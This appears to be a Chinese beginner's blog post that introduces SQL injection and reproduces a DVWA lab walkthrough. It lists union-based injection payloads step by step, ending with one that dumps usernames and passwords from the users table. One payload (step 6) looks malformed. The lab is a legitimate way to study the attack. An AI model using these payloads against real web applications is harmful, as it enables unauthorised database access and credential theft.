SQL注入简介
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(来源于百度百科)
SQL注入攻击属于数据库安全攻击手段之一,可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。
Web程序三层架构
原文可以看看大佬的博客Jewel591.
下面是我的个人理解:
在Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。。。在访问动态网页时,Web服务器向数据访问层发起SQL查询请求,当权限验证通过时就可以执行相应的SQL语句,得到相应的数据查询结果。。。利用这种方式查询网站的敏感信息0.0
基于DVWA的SQL学习
在搭建好相应的环境后进入DVWA
首先先调整平台安全等级
如图所示就可以进行接下来的学习啦
猜解数据库
根据大佬博客进行复现的SQL注入学习
大佬博客连接:曙雀.
1.判断注入类型
1' and '1'='1
。。1' or '1'='1
2.判断字段数
1' or '1'='1 order by 2#
3.确定显示的字段顺序
1′ union select 111,222 #
4.获取当前数据库
1' union select 111,database()#
5.获取数据库中的表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
6.获取表中的字段名
1' union select group_concat(column_name) from information_schema.columns where
table_name='guestbook',group_concat(column_name) from information_schema.columns where table_name='users'#
7.下载数据
1' or '1'='1' union select group_concat(user_id,first_name,last_name,user) ,group_concat(password) from users#
大佬很强,我好菜0.0